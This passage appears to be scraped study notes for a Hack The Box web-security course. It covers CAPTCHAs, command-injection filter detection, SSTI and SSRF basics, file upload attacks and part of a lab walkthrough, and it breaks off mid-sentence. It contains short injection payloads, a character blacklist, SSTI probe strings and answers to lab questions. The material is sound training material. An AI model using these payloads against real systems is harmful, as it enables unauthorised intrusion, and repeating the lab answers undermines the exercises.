Vulnerabilities like this occur frequently in the real world, for instance, as reported in [CVE-2020-35590](https://nvd.nist.gov/vuln/detail/CVE-2020-35590) . * * * ### CAPTCHAs[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#captchas) A `Completely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA)` is a security measure to prevent bots from submitting requests. By forcing humans to make requests instead of bots or scripts, brute-force attacks become a manual task, making them infeasible in most cases. CAPTCHAs typically present challenges that are easy for humans to solve but difficult for bots, such as identifying distorted text, selecting particular objects from images, or solving simple puzzles. By requiring users to complete these challenges before accessing certain features or submitting forms, CAPTCHAs help prevent automated scripts from performing actions that could be harmful, such as spamming forums, creating fake accounts, or launching brute-force attacks on login pages. While CAPTCHAs serve an essential purpose in deterring automated abuse, they can also present usability challenges for some users, particularly those with visual impairments or specific cognitive disabilities. From a security perspective, it is essential not to reveal a CAPTCHA's solution in the response, as we can see in the following flawed CAPTCHA implementation: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fcaptcha_1.png&width=768&dpr=3&quality=100&sign=fd80ba6f&sv=2) Additionally, tools and browser extensions to solve CAPTCHAs automatically are rising. Many open-source CAPTCHA solvers can be found. In particular, the rise of AI-driven tools provides CAPTCHA-solving capabilities by utilizing powerful image recognition or voice recognition machine learning models. [PreviousBrute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes) [NextPassword Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks) Last updated 9 months ago * [Weak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#weak-brute-force-protection) * [Rate Limits](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#rate-limits) * [CAPTCHAs](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#captchas) --- # Bypassing Filters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters.md) . [Client-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation) [Blacklist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters) [Whitelist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters) [Type Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters) [PreviousUpload Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation) [NextClient-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation) --- # Identifying Filters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters.md) . * * * As we have seen in the previous section, even if developers attempt to secure the web application against injections, it may still be exploitable if it was not securely coded. Another type of injection mitigation is utilizing blacklisted characters and words on the back-end to detect injection attempts and deny the request if any request contained them. Yet another layer on top of this is utilizing Web Application Firewalls (WAFs), which may have a broader scope and various methods of injection detection and prevent various other attacks like SQL injections or XSS attacks. This section will look at a few examples of how command injections may be detected and blocked and how we can identify what is being blocked. * * * ### Filter/WAF Detection[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#filter-waf-detection) Let us start by visiting the web application in the exercise at the end of this section. We see the same `Host Checker` web application we have been exploiting, but now it has a few mitigations up its sleeve. We can see that if we try the previous operators we tested, like (`;`, `&&`, `||`), we get the error message `invalid input`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_1.jpg&width=768&dpr=3&quality=100&sign=e0157dc2&sv=2) This indicates that something we sent triggered a security mechanism in place that denied our request. This error message can be displayed in various ways. In this case, we see it in the field where the output is displayed, meaning that it was detected and prevented by the `PHP` web application itself. `If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF`. Let us check the payload we sent: Code: bash Other than the IP (which we know is not blacklisted), we sent: 1. A semi-colon character `;` 2. A space character 3. A `whoami` command So, the web application either `detected a blacklisted character` or `detected a blacklisted command`, or both. So, let us see how to bypass each. * * * ### Blacklisted Characters[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#blacklisted-characters) A web application may have a list of blacklisted characters, and if the command contains them, it would deny the request. The `PHP` code may look something like the following: Code: php If any character in the string we sent matches a character in the blacklist, our request is denied. Before we start our attempts at bypassing the filter, we should try to identify which character caused the denied request. * * * ### Identifying Blacklisted Character[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#identifying-blacklisted-character) Let us reduce our request to one character at a time and see when it gets blocked. We know that the (`127.0.0.1`) payload does work, so let us start by adding the semi-colon (`127.0.0.1;`): ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_filters_2.jpg&width=768&dpr=3&quality=100&sign=4680af1&sv=2) We still get an `invalid input`, error meaning that a semi-colon is blacklisted. So, let's see if all of the injection operators we discussed previously are blacklisted Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#try-all-other-injection-operators-to-see-if-any-of-them-is-not-blacklisted.-which-of-new-line-and-or) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FFMHfJCjBhrFp9VjQXPAj%252Fimage.png%3Falt%3Dmedia%26token%3De850419b-1d41-4315-946f-03831788f2d9&width=768&dpr=3&quality=100&sign=29bcb3c&sv=2) New Line `\n` `%0a` Answer: \\n [PreviousFilter Evasion](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion) [NextBypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters) Last updated 1 year ago * [Filter/WAF Detection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#filter-waf-detection) * [Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#blacklisted-characters) * [Identifying Blacklisted Character](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#identifying-blacklisted-character) * [Try all other injection operators to see if any of them is not blacklisted. Which of (new-line, &, |) is not blacklisted by the web application?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#try-all-other-injection-operators-to-see-if-any-of-them-is-not-blacklisted.-which-of-new-line-and-or) Copy 127.0.0.1; whoami Copy $blacklist = ['&', '|', ';', ...SNIP...]; foreach ($blacklist as $character) { if (strpos($_POST['ip'], $character) !== false) { echo "Invalid input"; } } --- # Types of Databases | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases.md) . * * * Databases, in general, are categorized into `Relational Databases` and `Non-Relational Databases`. Only Relational Databases utilize SQL, while Non-Relational databases utilize a variety of methods for communications. * * * ### Relational Databases[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#relational-databases) A relational database is the most common type of database. It uses a schema, a template, to dictate the data structure stored in the database. For example, we can imagine a company that sells products to its customers having some form of stored knowledge about where those products go, to whom, and in what quantity. However, this is often done in the back-end and without obvious informing in the front-end. Different types of relational databases can be used for each approach. For example, the first table can store and display basic customer information, the second the number of products sold and their cost, and the third table to enumerate who bought those products and with what payment data. Tables in a relational database are associated with keys that provide a quick database summary or access to the specific row or column when specific data needs to be reviewed. These tables, also called entities, are all related to each other. For example, the customer information table can provide each customer with a specific ID that can indicate everything we need to know about that customer, such as an address, name, and contact information. Also, the product description table can assign a specific ID to each product. The table that stores all orders would only need to record these IDs and their quantity. Any change in these tables will affect all of them but predictably and systematically. However, when processing an integrated database, a concept is required to link one table to another using its key, called a `relational database management system` (`RDBMS`). Many companies that initially use different concepts are switching to the RDBMS concept because this concept is easy to learn, use and understand. Initially, this concept was used only by large companies. However, many types of databases now implement the RDBMS concept, such as Microsoft Access, MySQL, SQL Server, Oracle, PostgreSQL, and many others. For example, we can have a `users` table in a relational database containing columns like `id`, `username`, `first_name`, `last_name`, and others. The `id` can be used as the table key. Another table, `posts`, may contain posts made by all users, with columns like `id`, `user_id`, `date`, `content`, and so on. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F75%2Fweb_apps_relational_db.jpg&width=768&dpr=3&quality=100&sign=fa6148f9&sv=2) HTML Example We can link the `id` from the `users` table to the `user_id` in the `posts` table to retrieve the user details for each post without storing all user details with each post. A table can have more than one key, as another column can be used as a key to link with another table. So, for example, the `id` column can be used as a key to link the `posts` table to another table containing comments, each of which belongs to a particular post, and so on. The relationship between tables within a database is called a Schema. This way, by using relational databases, it becomes rapid and easy to retrieve all data about a particular element from all databases. So, for example, we can retrieve all details linked to a specific user from all tables with a single query. This makes relational databases very fast and reliable for big datasets with clear structure and design and efficient data management. The most common example of relational databases is `MySQL`, which we will be covering in this module. * * * ### Non-relational Databases[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#non-relational-databases) A non-relational database (also called a `NoSQL` database) does not use tables, rows, and columns or prime keys, relationships, or schemas. Instead, a NoSQL database stores data using various storage models, depending on the type of data stored. Due to the lack of a defined structure for the database, NoSQL databases are very scalable and flexible. Therefore, when dealing with datasets that are not very well defined and structured, a NoSQL database would be the best choice for storing such data. There are four common storage models for NoSQL databases: * Key-Value * Document-Based * Wide-Column * Graph Each of the above models has a different way of storing data. For example, the `Key-Value` model usually stores data in JSON or XML, and have a key for each pair, and stores all of its data as its value: ![HTML Example](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F75%2Fweb_apps_non-relational_db.jpg&width=300&dpr=3&quality=100&sign=5a79c493&sv=2) The above example can be represented using JSON as: Code: json It looks similar to a dictionary item in languages like `Python` or `PHP` (i.e. `{'key':'value'}`), where the `key` is usually a string, and the `value` can be a string, dictionary, or any class object. The most common example of a NoSQL database is `MongoDB`. Non-relational Databases have a different method for injection, known as NoSQL injections. SQL injections are completely different than NoSQL injections. NoSQL injections will be covered in a later module. [Previous](https://academy.hackthebox.com/module/33/section/178) [PreviousDatabases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases) [NextMySQL](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mysql) Last updated 1 year ago * [Relational Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#relational-databases) * [Non-relational Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases#non-relational-databases) Copy { "100001": { "date": "01-01-2021", "content": "Welcome to this web application." }, "100002": { "date": "02-01-2021", "content": "This is the first post on this web app." }, "100003": { "date": "02-01-2021", "content": "Reminder: Tomorrow is the ..." } } --- # SSTI | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti.md) . As the name suggests, Server-side Template Injection (SSTI) occurs when an attacker can inject templating code into a template that is later rendered by the server. If an attacker injects malicious code, the server potentially executes the code during the rendering process, enabling an attacker to take over the server completely. * * * ### Server-side Template Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti#server-side-template-injection) As we have seen in the previous section, the rendering of templates inherently deals with dynamic values provided to the template engine during rendering. Often, these dynamic values are provided by the user. However, template engines can deal with user input securely if provided as values to the rendering function. That is because template engines insert the values into the corresponding places in the template and do not run any code within the values. On the other hand, SSTI occurs when an attacker can control the template parameter, as template engines run the code provided in the template. If templating is implemented correctly, user input is always provided to the rendering function in values and never in the template string. However, SSTI can occur when user input is inserted into the template **before** the rendering function is called on the template. A different instance would be if a web application calls the rendering function on the same template multiple times. If user input is inserted into the output of the first rendering process, it would be considered part of the template string in the second rendering process, potentially resulting in SSTI. Lastly, web applications enabling users to modify or submit existing templates result in an obvious SSTI vulnerability. [PreviousPreventing SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf) [NextTemplate Engines](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines) Last updated 10 months ago --- # Other Upload Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks.md) . [Limited File Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads) [Other Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks) [PreviousType Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters) [NextLimited File Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads) Last updated 9 months ago --- # SSRF | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf.md) . Introduction to SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#introduction-to-ssrf) --------------------------------------------------------------------------------------------------------------- * * * [SSRF](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) vulnerabilities are part of OWASPs Top 10. This type of vulnerability occurs when a web application fetches additional resources from a remote location based on user-supplied data, such as a URL. * * * ### Server-side Request Forgery[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#server-side-request-forgery) Suppose a web server fetches remote resources based on user input. In that case, an attacker might be able to coerce the server into making requests to arbitrary URLs supplied by the attacker, i.e., the web server is vulnerable to SSRF. While this might not sound particularly bad at first, depending on the web application's configuration, SSRF vulnerabilities can have devastating consequences, as we will see in the upcoming sections. Furthermore, if the web application relies on a user-supplied URL scheme or protocol, an attacker might be able to cause even further undesired behavior by manipulating the URL scheme. For instance, the following URL schemes are commonly used in the exploitation of SSRF vulnerabilities: * `http://` and `https://`: These URL schemes fetch content via HTTP/S requests. An attacker might use this in the exploitation of SSRF vulnerabilities to bypass WAFs, access restricted endpoints, or access endpoints in the internal network * `file://`: This URL scheme reads a file from the local file system. An attacker might use this in the exploitation of SSRF vulnerabilities to read local files on the web server (LFI) * `gopher://`: This protocol can send arbitrary bytes to the specified address. An attacker might use this in the exploitation of SSRF vulnerabilities to send HTTP POST requests with arbitrary payloads or communicate with other services such as SMTP servers or databases For more details on advanced SSRF exploitation techniques, such as filter bypasses and DNS rebinding, check out the [Modern Web Exploitation Techniques](https://academy.hackthebox.com/module/details/231) module. [PreviousIntroduction](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction) [NextIdentifying SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf) Last updated 10 months ago * [Introduction to SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#introduction-to-ssrf) * [Server-side Request Forgery](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf#server-side-request-forgery) --- # Identifying SSTI | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti.md) . Identifying SSTI[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-ssti) ------------------------------------------------------------------------------------------------------------------------ * * * Before exploiting an SSTI vulnerability, it is essential to successfully confirm that the vulnerability is present. Furthermore, we need to identify the template engine the target web application uses, as the exploitation process highly depends on the concrete template engine in use. That is because each template engine uses a slightly different syntax and supports different functions we can use for exploitation purposes. * * * ### Confirming SSTI[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#confirming-ssti) The process of identifying an SSTI vulnerability is similar to the process of identifying any other injection vulnerability, such as SQL injection. The most effective way is to inject special characters with semantic meaning in template engines and observe the web application's behavior. As such, the following test string is commonly used to provoke an error message in a web application vulnerable to SSTI, as it consists of all special characters that have a particular semantic purpose in popular template engines: Copy ${{<%[%'"}}%\.\ \ Since the above test string should almost certainly violate the template syntax, it should result in an error if the web application is vulnerable to SSTI. This behavior is similar to how injecting a single quote (`'`) into a web application vulnerable to SQL injection can break an SQL query's syntax and thus result in an SQL error.\ \ As a practical example, let us look at our sample web application. We can insert a name, which is then reflected on the following page:\ \ arrow-circle-left redo homearrow-circle-left redo home\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_identification_2.png&width=768&dpr=3&quality=100&sign=f8eaf206&sv=2)\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_identification_1.png&width=768&dpr=3&quality=100&sign=2cc04e81&sv=2)\ \ To test for an SSTI vulnerability, we can inject the above test string. This results in the following response from the web application:\ \ arrow-circle-left redo home\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_identification_3.png&width=768&dpr=3&quality=100&sign=c0f42157&sv=2)\ \ As we can see, the web application throws an error. While this does not confirm that the web application is vulnerable to SSTI, it should increase our suspicion that the parameter might be vulnerable.\ \ * * *\ \ ### Identifying the Template Engine[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-the-template-engine)\ \ To enable the successful exploitation of an SSTI vulnerability, we first need to determine the template engine used by the web application. We can utilize slight variations in the behavior of different template engines to achieve this. For instance, consider the following commonly used overview containing slight differences in popular template engines:\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fdiagram.png&width=768&dpr=3&quality=100&sign=d5b05af6&sv=2)\ \ The image is a flowchart showing different template injection payloads and their outcomes.\ \ We will start by injecting the payload `${7*7}` and follow the diagram from left to right, depending on the result of the injection. Suppose the injection resulted in a successful execution of the injected payload. In that case, we follow the green arrow; otherwise, we follow the red arrow until we arrive at a resulting template engine.\ \ Injecting the payload `${7*7}` into our sample web application results in the following behavior:\ \ arrow-circle-left redo home\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_identification_4.png&width=768&dpr=3&quality=100&sign=fab97af4&sv=2)\ \ Since the injected payload was not executed, we follow the red arrow and now inject the payload `{{7*7}}`:\ \ arrow-circle-left redo home\ \ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_identification_5.png&width=768&dpr=3&quality=100&sign=a6d2adb5&sv=2)\ \ This time, the payload was executed by the template engine. Therefore, we follow the green arrow and inject the payload `{{7*'7'}}`. The result will enable us to deduce the template engine used by the web application. In Jinja, the result will be `7777777`, while in Twig, the result will be `49`.\ \ ### Apply what you learned in this section and identify the Template Engine used by the web application. Provide the name of the template engine as the answer.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#apply-what-you-learned-in-this-section-and-identify-the-template-engine-used-by-the-web-application)\ \ A: Twig\ \ [PreviousTemplate Engines](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines)\ [NextExploiting SSTI - Jinja2](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2)\ \ Last updated 10 months ago\ \ * [Identifying SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-ssti)\ \ * [Confirming SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#confirming-ssti)\ \ * [Identifying the Template Engine](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#identifying-the-template-engine)\ \ * [Apply what you learned in this section and identify the Template Engine used by the web application. Provide the name of the template engine as the answer.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti#apply-what-you-learned-in-this-section-and-identify-the-template-engine-used-by-the-web-application) --- # Preventing SSI Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection.md) . Preventing SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#preventing-ssi-injection) --------------------------------------------------------------------------------------------------------------------------------------------------------- * * * As we have seen, improper implementation of SSI can result in web vulnerabilities. SSI injection can result in devastating consequences, including remote code execution and, thus, takeover of the web server. To prevent SSI injection, a web application using SSI must implement appropriate security measures. * * * ### Prevention[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#prevention) As with any injection vulnerability, developers must carefully validate and sanitize user input to prevent SSI injection. This is particularly important when the user input is used within SSI directives or written to files that may contain SSI directives according to the web server configuration. Additionally, it is vital to configure the webserver to restrict the use of SSI to particular file extensions and potentially even particular directories. On top of that, the capabilities of specific SSI directives can be limited to help mitigate the impact of SSI injection vulnerabilities. For instance, it might be possible to turn off the `exec` directive if it is not actively required. [PreviousExploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection) [NextXSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection) Last updated 10 months ago * [Preventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#preventing-ssi-injection) * [Prevention](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection#prevention) --- # Intro to File Upload Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks.md) . Intro to File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#intro-to-file-upload-attacks) ------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Uploading user files has become a key feature for most modern web applications to allow the extensibility of web applications with user information. A social media website allows the upload of user profile images and other social media, while a corporate website may allow users to upload PDFs and other documents for corporate use. However, as web application developers enable this feature, they also take the risk of allowing end-users to store their potentially malicious data on the web application's back-end server. If the user input and uploaded files are not correctly filtered and validated, attackers may be able to exploit the file upload feature to perform malicious activities, like executing arbitrary commands on the back-end server to take control over it. File upload vulnerabilities are amongst the most common vulnerabilities found in web and mobile applications, as we can see in the latest [CVE Reports](https://www.cvedetails.com/vulnerability-list/cweid-434/vulnerabilities.html) . We will also notice that most of these vulnerabilities are scored as `High` or `Critical` vulnerabilities, showing the level of risk caused by insecure file upload. * * * ### Types of File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#types-of-file-upload-attacks) The most common reason behind file upload vulnerabilities is weak file validation and verification, which may not be well secured to prevent unwanted file types or could be missing altogether. The worst possible kind of file upload vulnerability is an `unauthenticated arbitrary file upload` vulnerability. With this type of vulnerability, a web application allows any unauthenticated user to upload any file type, making it one step away from allowing any user to execute code on the back-end server. Many web developers employ various types of tests to validate the extension or content of the uploaded file. However, as we will see in this module, if these filters are not secure, we may be able to bypass them and still reach arbitrary file uploads to perform our attacks. The most common and critical attack caused by arbitrary file uploads is `gaining remote command execution` over the back-end server by uploading a web shell or uploading a script that sends a reverse shell. A web shell, as we will discuss in the next section, allows us to execute any command we specify and can be turned into an interactive shell to enumerate the system easily and further exploit the network. It may also be possible to upload a script that sends a reverse shell to a listener on our machine and then interact with the remote server that way. In some cases, we may not have arbitrary file uploads and may only be able to upload a specific file type. Even in these cases, there are various attacks we may be able to perform to exploit the file upload functionality if certain security protections were missing from the web application. Examples of these attacks include: * Introducing other vulnerabilities like `XSS` or `XXE`. * Causing a `Denial of Service (DoS)` on the back-end server. * Overwriting critical system files and configurations. * And many others. Finally, a file upload vulnerability is not only caused by writing insecure functions but is also often caused by the use of outdated libraries that may be vulnerable to these attacks. At the end of the module, we will go through various tips and practices to secure our web applications against the most common types of file upload attacks, in addition to further recommendations to prevent file upload vulnerabilities that we may miss. [PreviousExam Style Write Up](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up) [NextBasic Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation) Last updated 9 months ago * [Intro to File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#intro-to-file-upload-attacks) * [Types of File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/intro-to-file-upload-attacks#types-of-file-upload-attacks) --- # Rewalk | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk.md) . Server-Side Attacks - Skills Assessment[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#server-side-attacks-skills-assessment) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#question-1) #### "Obtain the flag"[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#obtain-the-flag) Students need to turn on Burp Suite, then browse to `http://STMIP:STMPO`, intercept the request and send it to Repeater (to more easily visualize the request and response): ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F53%2FServer-Side_Attacks_Walkthrough_Image_21.png&width=768&dpr=3&quality=100&sign=ba9e4cf1&sv=2) Server-Side\_Attacks\_Walkthrough\_Image\_21.png Students will notice inline Javascript, designed to retrieve the location of trucks identified by the IDs `"FusionExpress01"`, `"FusionExpress02"`, and `"FusionExpress03".` By looping through each, it creates a new `XMLHttpRequest` object is created. used to send HTTP requests and handle responses. More specifically, a synchronous POST request is sent to the server's root endpoint (`'/'`) for each truck ID in the list. The server is expected to return the current location of each truck in JSON format. The script then updates the HTML element corresponding to each truck ID with either the truck's location or an error message if the location cannot be fetched. In BurpSuite, students need to return to `Proxy` (where the initial request was captured) and forward the initial request. The subsequent request is a POST request to the `api=http://truckapi.htb/?id%3DFusionExpress01` endpoint: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F53%2FServer-Side_Attacks_Walkthrough_Image_22.png&width=768&dpr=3&quality=100&sign=c6ce0a76&sv=2) Server-Side\_Attacks\_Walkthrough\_Image\_22.png Students need to send this request to Repeater as well, and then forward it to evaluate the response: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F53%2FServer-Side_Attacks_Walkthrough_Image_23.png&width=768&dpr=3&quality=100&sign=bceab6c7&sv=2) Server-Side\_Attacks\_Walkthrough\_Image\_23.png The query sent in the body of the POST request, `api=http://truckapi.htb/?id%3DFusionExpress01`, returns the ID of the truck, as well as the location, in JSON format. Code: shell From here, students need to test for possible server-side template injection vulnerabilities. By modifying the query 